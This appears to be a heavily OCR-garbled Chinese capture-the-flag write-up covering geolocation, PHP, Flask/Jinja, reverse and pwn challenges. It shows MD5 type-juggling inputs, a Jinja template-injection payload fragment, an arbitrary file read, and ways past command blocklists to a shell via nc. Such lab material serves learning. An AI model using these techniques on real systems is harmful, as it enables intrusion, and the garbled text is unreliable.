QO & https://www.google.com.hk/maps/@14.3526061,100.5380684,3a,90y,295.72h,90.79t/data=!3m7!1e1!3m5!1sUoFes8mqVYIVAWIUEBDs g!2e0!6s 28 17

o wFm DOxmEme @ e © usts BUUCTFZE

@ m | NSSCTF @ CTFHub & Convert Base64 tol... [JafTH X1r0z Blog @ Markdown BA55:% .. 50 (16 #5405 /1 &

193 Google 1thFE

flag{2216612d65abe33f05c1662d53a6faf8}

@ | FINISHED
N W-:.“*

) O

—BRRE



55.754,37.613
flag{755947b6b90b7a9676282f0ff2151e48}

3® | FINISHED
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Recipe Sl W] Input

-22.804,-42.966
MD5 o n ’

Output

8fbbc1224896105a0354bco84deledde

flag{8fbbc1224896105a0354bc084deled4e}

@ | FINISHED
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Web

ezphp | FINISHED
—LEmdS5EhtiEREMTE, Sd—T, AEKMAKLE— Tflagiflag.sh

<« C AFze ctfmardle.cn:34528/?usn=LGZIDyPPyC96ytd73bU78&usn1[]=18&sign=rev%20flag BrxY O O

<2php
highlight_file(_FILE_
error_reporting (0)
if  (isset($_GET[

isset (§_POST[ pwdl 1)

& isset(§_POST( pwd']) &

Susn =
Susnl =
Spwd =
Spwdl =
it (Susn = md5(Spw
i nd5 ($usnl) nd5 ($pwdl)) {
[ '] &k $_GET 1) 2 $_GET[ sign’] :
[cat’, ’tac’, 'nl’, ’'mo "less’, 'head’, 'tail’, ’read'l;
$sign_lower strtolower ($sign)
foreach ($forbidden_commands as S$forbidden) {
(strpos ($sign_lower, S$forbidden) !
die(’lol’) DevTools - ctf.mardle.cn:34528/?usn=LGZIDyPPyC96ytd73bU7&usn1[]=1&sign=rev%20flag
x [0 7o &He BRSskE mRE e KF  NE 22 Lighthouse 2528 HEREEIRSHT X HackBar
if ‘empt':\'sbslgn“‘
die("lol’); SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFl ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~
tir
shell_exec (escapeshellemd ($s
Soutput</pre>” )
or $e) { http://ctf.mardle.cn:34528/?usn=LGZIDyPPyC96ytd73bU7&usn1[ ]=1&sign=rev flag
enctype
@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER
echo “lol
Body Name
else pwd=240610708&pwd1[ =2 Upgrade-Insecure-Reques
echo "1
Name
} User-Agent
©echo Lol Name

Accept

}galftset {galf Name

BRRETMELER



<« C AFze ctfmardle.cn:34528/2usn=LGZIDyPPyC96ytd73bU78&usn1[]=1&sign=env Bx O O

md5 (Susn) md5 ($pwd) )
Spwdl

md5 ($pwdl)) {

$sign isset ($_GET[ sign’ 1) ($_GBT[ sign’]) 2 $_GET[ sign’] :
$forbidden_commands Pcat’, ’tac’, 'nl’, ‘more’, ’less’, ’'head’, ’tail’, ’read’]
Ssign_lower = strtolower($sign)
foreach ($forbidden_comiands as S$forbidden)
f (strpos($sign_lower, Sforbidden) !== false)
die( lol’
if (empty($sign))
die( 1lol’)
ir
Soutput = shell_exec (escapeshellemd ($s:
echo “<pre>$output<{/pre>” & DevTools - ctf.mardle.cn:34528/?usn=LGZIDyPPyC96ytd73bU7&usn1[]=18&sign=env
catch (ValueError $e) { .. X
echo “lol” i [0 TR BHe  RRBsER B e AT WA %22 Lighthouse  iC:%E HREIRSHT & HackBar
B SPLIT EXECUTE TEST v sQLl ~ XSS v LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~
else
echo “lol”;
else { http://ctf.mardle.cn:34528/?usn=LGZIDyPPyC96ytd73bU7&usn1[ ]=1&sign=env
echo “lol”
enctype
} @@ Use POST method application/x-www-form-urlencoded MODIFY HEADER
echo ’lol’; Body e
2 pwd=240610708&pwd1[ ]=2 Upgrade-Insecure-Reques
PHP_EXTRA_CONFIGURE_ARGS=——enable~fpm —with~fpu-user=wiw-data —with~fp [

USER=www—data
HOSTNAME=4940e364887c
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2 a—
HOME=/home/www-data

PHP_LDFLAGS=-1, -01 W1, —hash-style=both —pie Accept
PHP_CFLAGS=—fstack-protector-strong —fpic —fpie -02
PHP_MD5= Name
PHP_VERSION=b5. 6. 40 .
GPG_KEYS=0BD78B5F97500D450838F95DFE857D9A90DIOEC] 6E4F6AB321FDCOTF2C332E3AC2BFOBC433CFCSB3

PHP_CPPFLAGS=-fstack-protector-strong ~fpic —fpie -02

PHP_ASC_URL=https://secure. php. net/get/php-5. 6. 40. tar. xz. asc/from/this/mirror

PHP_URL=https://secure. php. net/get/php-5. 6. 40. tar. xz/from/this/mirror

PATH=/usr/local/sbin: /usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

GZCTF_FLAG=flag {7c9243e6-Tcf3-4ff2-ac83-424437844a2f}

PHPIZE_DEPS=autoconf dpkg-dev dpkg file g+t gec libe-dev nake pkgconf re2c

PWD=/var/www/html

PHP_SHA256=1369a51eee3995d7fbd1c5342e5c¢c917760e276d561595b6052b21ace2656d1c

FLAG=not_flag

GZCTF_TEAM_ID=195

User-Agent

ez_python | FINISHED
FFITHE, #HE 7T /shell

&« C @ O A yoomitech.com

OxmeEsits Qox FFErE D xmmy @B © XesttR - BUUCTFEZEN @ ZiFE | NSSCTF @

who you are?

[Hile=R] IEZMERIRECH, LULtkiESapp.pyFwaf.py

app.-py

from flask import Flask, request, render_template_string
from flask_limiter dimport Limiter
from flask_limiter.util import get_remote_address
import waf
app = Flask(__name__)
limiter = Limiter(
get_remote_address,
app=app,
default_Llimits=["300 per day", "75 per hour"]

© O o N oo U~ W N K

=



11 @Eapp.route('/")
12 @Llimiter.exempt
13 def -dindex():

14 file_path = request.args.get('file')

15 if file_path and "proc'" in file_path:

16 return "Ri3JE T proc, FEAXANT, XEEE", 200
17 if file_path:

18 try:

19 with open(file_path, 'r') as file:

20 file_content = file.read()

21 return f"{file_content}"

22 except Exception as e:

23 return f"Error reading file: {el}"

24 return "Find the get parameter to read something"

25 @app.route('/shell')
26 @limiter.limit("10 per minute")
27 def shell():

28 if request.args.get('name'):

29 person = request.args.get('name')

30 if not waf.waf_check(person):

31 mistake = "Something is banned"

32 return mistake

33 template = 'Hi, %s' % person

34 return render_template_string(template)
35 some = 'who you are?'

36 return render_template_string(some)

37 @app.errorhandler (429)
38 def ratelimit_error(e):

39 return "TH? Z2XENX, EFIE", 429
40 if __name__ == '__main__"':
41 app.run(debug=False, host='0.0.0.0", port=8000)
waf.py
1 def waf_check(value):
2 dangerous_patterns = ['os', 'set', '__builtins__"', '=', ".', "{{', "}}',
"popen', '+', '__']
3 for pattern in dangerous_patterns:
4 if pattern in value:
5 return False
6 return True

WhiE)/shell, getffEname, 1FTESStENRE



H Fritdes http://ctf.mardle.cn:34977/st
os_popen_read4 ffipayload: {%print cycler[ next’]
B IEN .
9B B0 T |
45¢16-8f97-4d8a—-a079-efebf2eTfcH2}

I
1 3R 18] g
I AR =i

jinjalIEB

BRI E v R RS, REMEN200, %AN{ name’ :  {%print
t\’ ]

FHEs cat flag H3re11

Reverse |AK

AmaZing_BruteForce | FINISHED

FoupxBiF, FNHFRANEIE, BRETVH, REMEAINkeyEIR], HABFRNflag
S ok keyB R AEIA

mBkeyFEflag, WAILUBS{IRAERMUFE, BEEIBREABEIRAL

1

2

3 s = |

4 0x08,
5 Ox05,
6 OX0A,
7 0x02,
8 0x15,
9 0Ox23,
10 Ox3E,
11 0x36,
12 Ox3A,
13 0x36,



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

PWN

H “¥E

Ox2F,

Ox55,
0x31,
0x58,
Ox3F,
0x18,
]
print(s[0]
print(s[1]
print(s[2]
print(s[3]

A

A

A

ord("f"))

ord("1"))

ord("a"))

ord("g"))

key = [110, 105, 107, 101]

for i in range(16):

print(chr(s[i] » key[i % 4]), end="")

# flag{JUST_DO_1T}

J” | FINISHED

MEEAK, 2 Felf>XfF, FlEmainEmEmRET JLFILIE

BATEERSsh,echo,$07,
AEFAE ilter_stringBEmALULRIMN B MNEIE, R, REREANHEFZMmMEM

Stru

Lzl 1DA View—A [<] usl rseuaocoae—a (] (5] Hex View-l
1 int _ fastcall main(int argc, const char **argv, const char **envp)
2q
3 char s[256]; // [rsp+Bh] [rbp-218h] BYREF
4 char command[264]; // [rsp+l@éh] [rbp-118h] BYREF
5 unsigned _ int64 v6; // [rsp+208h] [rbp-8h]

6

7 v6 = __readfsqword(ex28u);

8 printf("Enter a command: ");

9 fgets(s, 256, _bss_start);

16  s[strespn(s, "\n")] = @;

11 if ( stestr(s, "sh") || strstr(s, “"echo") || strstr(s, "$8") )
12

13 puts("Command not allowed.");

14 return 1;

15}

16 else

17 {

18 filter_string(s, command);

19 if ( command[@] )

20

21 printf(“"Executing command: %s\n", command);
22 system(command) ;

23

24 else

25

26 puts(“No valid command to execute.");
27

28 return @;

29

30}

ENEREE: Command not allowed



1|_int64 _ fastcall filter string(__int64 al, __int64 22)

“~

{

3 unsigned __inte4 v2; //

4 _ inte4 result; //

5 unsigned __inté64 v4; //

6 __inted i; //

7

8 = oLL;

9 for ( 1 = @LL; *(_BYTE *)(al + 1) && <= BXFE; ++1 )
16

11 if ( *(_BYTE *)(al + i) = 1@2
12 && *(_BYTE *)(al + i) I= 123
13 &% *(_BYTE *)(al + i) != 108
14 &&% *(_BYTE *)(al + i) I= 97
15 && *(_BYTE *)(al + i) 1= 103 )
16 {

17 = vi++;

18 *(_BYTE *)(v2 + 22) = *(_BYTE *)(al + i);
19 }

28}

21 = +

*(_BYTE *)( + ) = ©;
23 return H

BETRRE, XEREMlESLag(XAENFE, XEMFNFIFIE

~/Desktop/timu
nc 61.136.164.146 32916
sh

Enter a command: Command not allowed.

~/Desktop/timu
nc 61.136.164.146 32916
flag{ls}
sh: 1: s}: not found
Enter a command: Executing command: s}

DEREERT, XEREFS, BREERIMisexp, RERITEHIKRT LEW GRS, B
I3t B flag T

X EAHHRBIN L, EER, Unicode2RITHI, FILUXApyjail R—H, SAEREEZHLinux
SIERT

IRIRIEEATH, S

B BT FEOHCE, REMBMRK RIS ER, REET FRERE, BE252567
SR, XORSRAREN, BT

BENBRAI, ©R2&@Nlsh echo SOBTEflag{Ry, rTLUBEIAUGss <R, WSI10,38/53ERS0,3R
MERIEHARSSES T, |s cathEfER,

nc ctf.mardle.cn 34367
$10

echo 1
1
cat flag

o 0 A W N



7 flag{847ec3aa-4ca3-44fd-94cc-4a65fcfe4d2c}



